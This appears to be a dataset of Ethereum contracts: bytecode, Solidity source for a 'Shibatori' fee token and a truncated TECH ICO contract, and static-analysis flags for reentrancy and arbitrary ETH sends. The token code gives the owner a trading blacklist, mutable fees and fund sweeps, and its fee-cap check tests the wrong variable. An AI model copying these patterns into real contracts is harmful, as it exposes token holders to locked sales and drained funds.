60405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610475565b60005b838110156113d15781810151838201526020016113b9565b838111156113e0576000848401525b50505050565b60208152600082518060208401526114058160408501602087016113b6565b601f01601f19169190910160400192915050565b6001600160a01b038116811461044857600080fd5b6000806040838503121561144157600080fd5b823561144c81611419565b946020939093013593505050565b60008060006060848603121561146f57600080fd5b833561147a81611419565b9250602084013561148a81611419565b929592945050506040919091013590565b6000602082840312156114ad57600080fd5b5035919050565b6000602082840312156114c657600080fd5b8135610a9081611419565b600080604083850312156114e457600080fd5b82356114ef81611419565b915060208301356114ff81611419565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561155157600080fd5b8151610a9081611419565b60006020828403121561156e57600080fd5b81518015158114610a9057600080fd5b600082516115908184602087016113b6565b9190910192915050565b6000806000606084860312156115af57600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b600082198211156115f1576115f16115c8565b500190565b600082821015611608576116086115c8565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116735784516001600160a01b03168352938301939183019160010161164e565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826116b157634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156116d0576116d06115c8565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208b05134f60ef95db613c8edcf06c3ffdcb5319d8ac35fa689965cd8794d27a9f64736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
9,572
0xc8ca407163ad264fcb7beb2daca32c37f3004a8d
// SPDX-License-Identifier: Unlicensed // http://toritori.io/ // https://t.me/Shibatori pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Shibatori is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private time; uint256 private _tax; uint256 private constant _tTotal = 1 * 10**12 * 10**9; uint256 private fee1=80; uint256 private fee2=80; uint256 private liqfee=20; uint256 private feeMax=100; string private constant _name = "Shibatori"; string private constant _symbol = "SHIBA-TORI"; uint256 private _maxTxAmount = _tTotal.mul(1).div(100); uint256 private minBalance = _tTotal.div(1000); uint8 private constant _decimals = 9; address payable private _feeAddrWallet1; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () payable { _feeAddrWallet1 = payable(msg.sender); _tOwned[address(this)] = _tTotal.div(2); _tOwned[0x000000000000000000000000000000000000dEaD] = _tTotal.div(2); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); emit Transfer(address(0),address(this),_tTotal.div(2)); emit Transfer(address(0),address(0x000000000000000000000000000000000000dEaD),_tTotal.div(2)); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function changeFees(uint8 _fee1,uint8 _fee2,uint8 _liq) external { require(_msgSender() == _feeAddrWallet1); require(_fee1 <= feeMax && _fee2 <= feeMax && liqfee <= feeMax,"Cannot set fees above maximum"); fee1 = _fee1; fee2 = _fee2; liqfee = _liq; } function changeMinBalance(uint256 newMin) external { require(_msgSender() == _feeAddrWallet1); minBalance = newMin; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _tax = fee1.add(liqfee); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && (block.timestamp < time)){ // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _tax = fee2.add(liqfee); } if (!inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from]) { require(block.timestamp > time,"Sells prohibited for the first 5 minutes"); uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > minBalance){ swapAndLiquify(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } } _transferStandard(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function swapAndLiquify(uint256 tokenAmount) private { uint256 half = liqfee.div(2); uint256 part = fee2.add(half); uint256 sum = fee2.add(liqfee); uint256 swapTotal = tokenAmount.mul(part).div(sum); swapTokensForEth(swapTotal); addLiquidity(tokenAmount.sub(swapTotal),address(this).balance.mul(half).div(part),_feeAddrWallet1); } function addLiquidity(uint256 tokenAmount,uint256 ethAmount,address target) private lockTheSwap{ _approve(address(this),address(uniswapV2Router),tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}(address(this),tokenAmount,0,0,target,block.timestamp); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); addLiquidity(balanceOf(address(this)),address(this).balance,owner()); swapEnabled = true; tradingOpen = true; time = block.timestamp + (5 minutes); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 transferAmount,uint256 tfee) = _getTValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _tOwned[recipient] = _tOwned[recipient].add(transferAmount); _tOwned[address(this)] = _tOwned[address(this)].add(tfee); emit Transfer(sender, recipient, transferAmount); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapAndLiquify(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256) { uint256 tFee = tAmount.mul(_tax).div(1000); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function recoverTokens(address tokenAddress) external { require(_msgSender() == _feeAddrWallet1); IERC20 recoveryToken = IERC20(tokenAddress); recoveryToken.transfer(_feeAddrWallet1,recoveryToken.balanceOf(address(this))); } }
0x6080604052600436106101185760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb14610337578063b515566a14610357578063c3c8cd8014610377578063c9567bf91461038c578063dd62ed3e146103a157600080fd5b806370a0823114610271578063715018a6146102a75780637e37e9bb146102bc5780638da5cb5b146102dc57806395d89b411461030457600080fd5b806323b872dd116100e757806323b872dd146101e0578063273123b714610200578063313ce567146102205780634ea18fab1461023c5780636fc3eaec1461025c57600080fd5b806306fdde0314610124578063095ea7b31461016857806316114acd1461019857806318160ddd146101ba57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b506040805180820190915260098152685368696261746f726960b81b60208201525b60405161015f91906116c6565b60405180910390f35b34801561017457600080fd5b50610188610183366004611509565b6103e7565b604051901515815260200161015f565b3480156101a457600080fd5b506101b86101b3366004611455565b6103fe565b005b3480156101c657600080fd5b50683635c9adc5dea000005b60405190815260200161015f565b3480156101ec57600080fd5b506101886101fb3660046114c8565b61052b565b34801561020c57600080fd5b506101b861021b366004611455565b610594565b34801561022c57600080fd5b506040516009815260200161015f565b34801561024857600080fd5b506101b8610257366004611623565b6105e8565b34801561026857600080fd5b506101b861060d565b34801561027d57600080fd5b506101d261028c366004611455565b6001600160a01b031660009081526002602052604090205490565b3480156102b357600080fd5b506101b861063a565b3480156102c857600080fd5b506101b86102d7366004611683565b6106ae565b3480156102e857600080fd5b506000546040516001600160a01b03909116815260200161015f565b34801561031057600080fd5b5060408051808201909152600a81526953484942412d544f524960b01b6020820152610152565b34801561034357600080fd5b50610188610352366004611509565b610758565b34801561036357600080fd5b506101b8610372366004611535565b610765565b34801561038357600080fd5b506101b86107fb565b34801561039857600080fd5b506101b8610834565b3480156103ad57600080fd5b506101d26103bc36600461148f565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b60006103f43384846109d4565b5060015b92915050565b600f546001600160a01b0316336001600160a01b03161461041e57600080fd5b600f546040516370a0823160e01b815230600482015282916001600160a01b038084169263a9059cbb92919091169083906370a082319060240160206040518083038186803b15801561047057600080fd5b505afa158015610484573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104a8919061163c565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b1580156104ee57600080fd5b505af1158015610502573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105269190611601565b505050565b6000610538848484610af8565b61058a8433610585856040518060600160405280602881526020016118a4602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610edb565b6109d4565b5060019392505050565b6000546001600160a01b031633146105c75760405162461bcd60e51b81526004016105be9061171b565b60405180910390fd5b6001600160a01b03166000908152600560205260409020805460ff19169055565b600f546001600160a01b0316336001600160a01b03161461060857600080fd5b600e55565b600f546001600160a01b0316336001600160a01b03161461062d57600080fd5b4761063781610f15565b50565b6000546001600160a01b031633146106645760405162461bcd60e51b81526004016105be9061171b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600f546001600160a01b0316336001600160a01b0316146106ce57600080fd5b600c548360ff16111580156106e85750600c548260ff1611155b80156106f85750600c54600b5411155b6107445760405162461bcd60e51b815260206004820152601d60248201527f43616e6e6f742073657420666565732061626f7665206d6178696d756d00000060448201526064016105be565b60ff928316600955908216600a5516600b55565b60006103f4338484610af8565b6000546001600160a01b0316331461078f5760405162461bcd60e51b81526004016105be9061171b565b60005b81518110156107f7576001600560008484815181106107b3576107b3611862565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107ef81611831565b915050610792565b5050565b600f546001600160a01b0316336001600160a01b03161461081b57600080fd5b3060009081526002602052604090205461063781610f4f565b6000546001600160a01b0316331461085e5760405162461bcd60e51b81526004016105be9061171b565b601154600160a01b900460ff16156108b85760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105be565b306000908152600260205260409020546108e490476108df6000546001600160a01b031690565b610fea565b6011805462ff00ff60a01b19166201000160a01b1790556109074261012c6117c1565b600755565b60008261091b575060006103f8565b600061092783856117fb565b90508261093485836117d9565b1461098b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105be565b9392505050565b600061098b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110cc565b6001600160a01b038316610a365760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105be565b6001600160a01b038216610a975760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105be565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b5c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105be565b6001600160a01b038216610bbe5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105be565b60008111610c205760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105be565b600b54600954610c2f916110fa565b6008556000546001600160a01b03848116911614801590610c5e57506000546001600160a01b03838116911614155b15610ed0576001600160a01b03831660009081526005602052604090205460ff16158015610ca557506001600160a01b03821660009081526005602052604090205460ff16155b610cae57600080fd5b6011546001600160a01b038481169116148015610cd957506010546001600160a01b03838116911614155b8015610cfe57506001600160a01b03821660009081526004602052604090205460ff16155b8015610d0b575060075442105b15610d6857600d54811115610d1f57600080fd5b6001600160a01b0382166000908152600660205260409020544211610d4357600080fd5b610d4e42601e6117c1565b6001600160a01b0383166000908152600660205260409020555b6011546001600160a01b038381169116148015610d9357506010546001600160a01b03848116911614155b8015610db857506001600160a01b03831660009081526004602052604090205460ff16155b15610dd057600b54600a54610dcc916110fa565b6008555b601154600160a81b900460ff16158015610df857506011546001600160a01b03848116911614155b8015610e0d5750601154600160b01b900460ff165b8015610e3257506001600160a01b03831660009081526004602052604090205460ff16155b15610ed0576007544211610e995760405162461bcd60e51b815260206004820152602860248201527f53656c6c732070726f6869626974656420666f72207468652066697273742035604482015267206d696e7574657360c01b60648201526084016105be565b30600090815260026020526040902054600e54811115610ece57610ebc81610f4f565b478015610ecc57610ecc47610f15565b505b505b610526838383611159565b60008184841115610eff5760405162461bcd60e51b81526004016105be91906116c6565b506000610f0c848661181a565b95945050505050565b600f546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107f7573d6000803e3d6000fd5b600b54600090610f60906002610992565b90506000610f7982600a546110fa90919063ffffffff16565b90506000610f94600b54600a546110fa90919063ffffffff16565b90506000610fac82610fa6878661090c565b90610992565b9050610fb781611245565b610fe3610fc486836113b9565b610fd285610fa6478961090c565b600f546001600160a01b0316610fea565b5050505050565b6011805460ff60a81b1916600160a81b1790556010546110159030906001600160a01b0316856109d4565b60105460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0383811660848301524260a48301529091169063f305d71990849060c4016060604051808303818588803b15801561107e57600080fd5b505af1158015611092573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110b79190611655565b50506011805460ff60a81b1916905550505050565b600081836110ed5760405162461bcd60e51b81526004016105be91906116c6565b506000610f0c84866117d9565b60008061110783856117c1565b90508381101561098b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105be565b600080611165836113fb565b6001600160a01b038716600090815260026020526040902054919350915061118d90846113b9565b6001600160a01b0380871660009081526002602052604080822093909355908616815220546111bc90836110fa565b6001600160a01b0385166000908152600260205260408082209290925530815220546111e890826110fa565b3060009081526002602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b6011805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061128d5761128d611862565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156112e157600080fd5b505afa1580156112f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113199190611472565b8160018151811061132c5761132c611862565b6001600160a01b03928316602091820292909201015260105461135291309116846109d4565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac9479061138b908590600090869030904290600401611750565b600060405180830381600087803b1580156113a557600080fd5b505af11580156110b7573d6000803e3d6000fd5b600061098b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610edb565b600080600061141b6103e8610fa66008548761090c90919063ffffffff16565b9050600061142985836113b9565b959194509092505050565b803561143f8161188e565b919050565b803560ff8116811461143f57600080fd5b60006020828403121561146757600080fd5b813561098b8161188e565b60006020828403121561148457600080fd5b815161098b8161188e565b600080604083850312156114a257600080fd5b82356114ad8161188e565b915060208301356114bd8161188e565b809150509250929050565b6000806000606084860312156114dd57600080fd5b83356114e88161188e565b925060208401356114f88161188e565b929592945050506040919091013590565b6000806040838503121561151c57600080fd5b82356115278161188e565b946020939093013593505050565b6000602080838503121561154857600080fd5b823567ffffffffffffffff8082111561156057600080fd5b818501915085601f83011261157457600080fd5b81358181111561158657611586611878565b8060051b604051601f19603f830116810181811085821117156115ab576115ab611878565b604052828152858101935084860182860187018a10156115ca57600080fd5b600095505b838610156115f4576115e081611434565b8552600195909501949386019386016115cf565b5098975050505050505050565b60006020828403121561161357600080fd5b8151801515811461098b57600080fd5b60006020828403121561163557600080fd5b5035919050565b60006020828403121561164e57600080fd5b5051919050565b60008060006060848603121561166a57600080fd5b8351925060208401519150604084015190509250925092565b60008060006060848603121561169857600080fd5b6116a184611444565b92506116af60208501611444565b91506116bd60408501611444565b90509250925092565b600060208083528351808285015260005b818110156116f3578581018301518582016040015282016116d7565b81811115611705576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117a05784516001600160a01b03168352938301939183019160010161177b565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156117d4576117d461184c565b500190565b6000826117f657634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156118155761181561184c565b500290565b60008282101561182c5761182c61184c565b500390565b60006000198214156118455761184561184c565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461063757600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220245862dd9f499446c3d276beebbd15a9d3f9e5de911b3f546a102146e127349864736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
9,573
0xf9A47A1cD9D9f30976bE088bE960C05a7B79d6FF
pragma solidity 0.4.24; /** * @title TECH ICO Contract * @dev TECH is an ERC-20 Standar Compliant Token * Contact: WorkChainCenters@gmail.com www.WorkChainCenters.io */ /** * @title SafeMath by OpenZeppelin * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function transferFrom(address from, address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title admined * @notice This contract is administered */ contract admined { //mapping to user levels mapping(address => uint8) public level; //0 normal user //1 basic admin //2 master admin /** * @dev This contructor takes the msg.sender as the first master admin */ constructor() internal { level[msg.sender] = 2; //Set initial admin to contract creator emit AdminshipUpdated(msg.sender,2); //Log the admin set } /** * @dev This modifier limits function execution to the admin */ modifier onlyAdmin(uint8 _level) { //A modifier to define admin-only functions require(level[msg.sender] >= _level ); //It require the user level to be more or equal than _level _; } /** * @notice This function transfer the adminship of the contract to _newAdmin * @param _newAdmin The new admin of the contract */ function adminshipLevel(address _newAdmin, uint8 _level) onlyAdmin(2) public { //Admin can be set require(_newAdmin != address(0)); //The new admin must not be zero address level[_newAdmin] = _level; //New level is set emit AdminshipUpdated(_newAdmin,_level); //Log the admin set } /** * @dev Log Events */ event AdminshipUpdated(address _newAdmin, uint8 _level); } contract TECHICO is admined { using SafeMath for uint256; //This ico have these possible states enum State { MainSale, Paused, Successful } //Public variables //Time-state Related State public state = State.MainSale; //Set initial stage uint256 constant public SaleStart = 1527879600; //Human time (GMT): Friday, 1 de June de 2018 19:00:00 uint256 public SaleDeadline = 1535569200; //Human time (GMT): Wednesday, 29 August 2018 19:00:00 uint256 public completedAt; //Set when ico finish //Token-eth related uint256 public totalRaised; //eth collected in wei uint256 public totalDistributed; //Whole sale tokens distributed ERC20Basic public tokenReward; //Token contract address uint256 public hardCap = 31200000 * (10 ** 18); // 31.200.000 tokens mapping(address => uint256) public pending; //tokens pending to being transfered //Contract details address public creator; //Creator address string public version = '2'; //Contract version //Bonus Related - How much tokens per bonus uint256 bonus1Remain = 1440000*10**18; //+20% uint256 bonus2Remain = 2380000*10**18; //+15% uint256 bonus3Remain = 3420000*10**18; //+10% uint256 bonus4Remain = 5225000*10**18; //+5% uint256 remainingActualState; State laststate; //User rights handlers mapping (address => bool) public whiteList; //List of allowed to send eth //Price related uint256 rate = 3000; //3000 tokens per ether unit //events for log event LogFundrisingInitialized(address _creator); event LogFundingReceived(address _addr, uint _amount, uint _currentTotal); event LogBeneficiaryPaid(address _beneficiaryAddress); event LogContributorsPayout(address _addr, uint _amount); event LogFundingSuccessful(uint _totalRaised); event LogSalePaused(bool _paused); //Modifier to prevent execution if ico has ended or is holded modifier notFinished() { require(state != State.Successful && state != State.Paused); _; } /** * @notice ICO constructor * @param _addressOfTokenUsedAsReward is the token to distribute */ constructor(ERC20Basic _addressOfTokenUsedAsReward ) public { creator = msg.sender; //Creator is set from deployer address tokenReward = _addressOfTokenUsedAsReward; //Token address is set during deployment emit LogFundrisingInitialized(creator); //Log contract initialization //PreSale tokens already sold = 4.720.047 tokens pending[0x8eBBcb4c4177941428E9E9E68C4914fb5A89650E] = 4720047000000000000002000; //To no exceed total tokens to sell, update numbers - bonuses not affected totalDistributed = 4720047000000000000002000; } /** * @notice Check remaining and cost function * @dev The cost function doesn't include the bonuses calculation */ function remainingTokensAndCost() public view returns (uint256[2]){ uint256 remaining = hardCap.sub(totalDistributed); uint256 cost = remaining.sub((bonus1Remain.mul(2)).div(10)); cost = cost.sub((bonus2Remain.mul(15)).div(100)); cost = cost.sub(bonus3Remain.div(10)); cost = cost.sub((bonus4Remain.mul(5)).div(100)); cost = cost.div(3000); return [remaining,cost]; } /** * @notice Whitelist function * @param _user User address to be modified on list * @param _flag Whitelist status to set */ function whitelistAddress(address _user, bool _flag) public onlyAdmin(1) { whiteList[_user] = _flag; //Assign status to user on whitelist } /** * @notice Pause function * @param _flag Pause status to set */ function pauseSale(bool _flag) onlyAdmin(2) public { require(state != State.Successful); if(_flag == true){ require(state != State.Paused); laststate = state; remainingActualState = SaleDeadline.sub(now); state = State.Paused; emit LogSalePaused(true); } else { require(state == State.Paused); state = laststate; SaleDeadline = now.add(remainingActualState); emit LogSalePaused(false); } } /** * @notice contribution handler */ function contribute(address _target) public notFinished payable { require(now > SaleStart); //This time must be equal or greater than the start time //To handle admin guided contributions address user; //Let's if user is an admin and is givin a valid target if(_target != address(0) && level[msg.sender] >= 1){ user = _target; } else { user = msg.sender; //If not the user is the sender } require(whiteList[user] == true); //User must be whitelisted totalRaised = totalRaised.add(msg.value); //ether received updated uint256 tokenBought = msg.value.mul(rate); //base tokens amount calculation //Bonus calc helpers uint256 bonus = 0; //How much bonus for this sale uint256 buyHelper = tokenBought; //Base tokens bought //Bonus Stage 1 if(bonus1Remain > 0){ //If there still are some tokens with bonus //Lets check if tokens bought are less or more than remaining available //tokens whit bonus if(buyHelper <= bonus1Remain){ //If purchase is less bonus1Remain = bonus1Remain.sub(buyHelper); //Sub from remaining //Calculate the bonus for the total bought amount bonus = bonus.add((buyHelper.mul(2)).div(10));//+20% buyHelper = 0; //Clear buy helper }else{ //If purchase is more buyHelper = buyHelper.sub(bonus1Remain); //Sub from purchase helper the remaining //Calculate bonus for the remaining bonus tokens bonus = bonus.add((bonus1Remain.mul(2)).div(10));//+20% bonus1Remain = 0; //Clear bonus remaining tokens } } //Lets check if tokens bought are less or more than remaining available //tokens whit bonus if(bonus2Remain > 0 && buyHelper > 0){ if(buyHelper <= bonus2Remain){ //If purchase is less bonus2Remain = bonus2Remain.sub(buyHelper);//Sub from remaining //Calculate the bonus for the total bought amount bonus = bonus.add((buyHelper.mul(15)).div(100));//+15% buyHelper = 0; //Clear buy helper }else{ //If purchase is more buyHelper = buyHelper.sub(bonus2Remain);//Sub from purchase helper the remaining //Calculate bonus for the remaining bonus tokens bonus = bonus.add((bonus2Remain.mul(15)).div(100));//+15% bonus2Remain = 0; //Clear bonus remaining tokens } } //Lets check if tokens bought are less or more than remaining available //tokens whit bonus if(bonus3Remain > 0 && buyHelper > 0){ if(buyHelper <= bonus3Remain){ //If purchase is less bonus3Remain = bonus3Remain.sub(buyHelper);//Sub from remaining //Calculate the bonus for the total bought amount bonus = bonus.add(buyHelper.div(10));//+10% buyHelper = 0; //Clear buy helper }else{ //If purchase is more buyHelper = buyHelper.sub(bonus3Remain);//Sub from purchase helper the remaining //Calculate bonus for the remaining bonus tokens bonus = bonus.add(bonus3Remain.div(10));//+10% bonus3Remain = 0; //Clear bonus remaining tokens } } //Lets check if tokens bought are less or more than remaining available //tokens whit bonus if(bonus4Remain > 0 && buyHelper > 0){ if(buyHelper <= bonus4Remain){ //If purchase is less bonus4Remain = bonus4Remain.sub(buyHelper);//Sub from remaining //Calculate the bonus for the total bought amount bonus = bonus.add((buyHelper.mul(5)).div(100));//+5% buyHelper = 0; //Clear buy helper }else{ //If purchase is more buyHelper = buyHelper.sub(bonus4Remain);//Sub from purchase helper the remaining //Calculate bonus for the remaining bonus tokens bonus = bonus.add((bonus4Remain.mul(5)).div(100));//+5% bonus4Remain = 0; //Clear bonus remaining tokens } } tokenBought = tokenBought.add(bonus); //Sum Up Bonus(es) to base purchase require(totalDistributed.add(tokenBought) <= hardCap); //The total amount after sum up must not be more than the hardCap pending[user] = pending[user].add(tokenBought); //Pending balance to distribute is updated totalDistributed = totalDistributed.add(tokenBought); //Whole tokens sold updated emit 